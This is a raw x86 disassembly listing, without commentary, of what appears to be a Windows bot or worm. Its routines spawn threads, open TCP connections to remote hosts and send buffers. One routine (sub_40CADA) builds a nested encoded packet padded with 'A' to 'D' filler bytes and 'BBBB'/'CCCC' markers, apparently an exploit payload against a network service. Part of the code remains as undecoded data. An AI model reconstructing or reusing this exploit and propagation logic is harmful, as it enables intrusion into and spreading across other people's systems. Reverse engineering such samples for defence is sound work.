		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0F4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		call	near ptr 2670E9Dh
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0F0[eax*8]
		push	eax
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431ADC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0F4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0F0
		nop
		call	near ptr 26D07EDh

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0F4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEEC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB030
		push	eax
		mov	edi, offset dword_4CDAB4
		push	offset dword_431BBC
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB03C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BE468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2263F14h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 2EE890FCh, 0FF022442h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh
		dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h,	50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh,	3868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 263E23E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 3EE80875h, 90022441h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh,	0C68FFFFh
		dd 5000431Ch, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE5C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C91C
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C70
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C78
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FF4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C7C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FE8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FE4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FE0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FD4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431FCF+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAFBC

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAFA0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFF4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431D0C
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D3C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDCBC
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C84
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
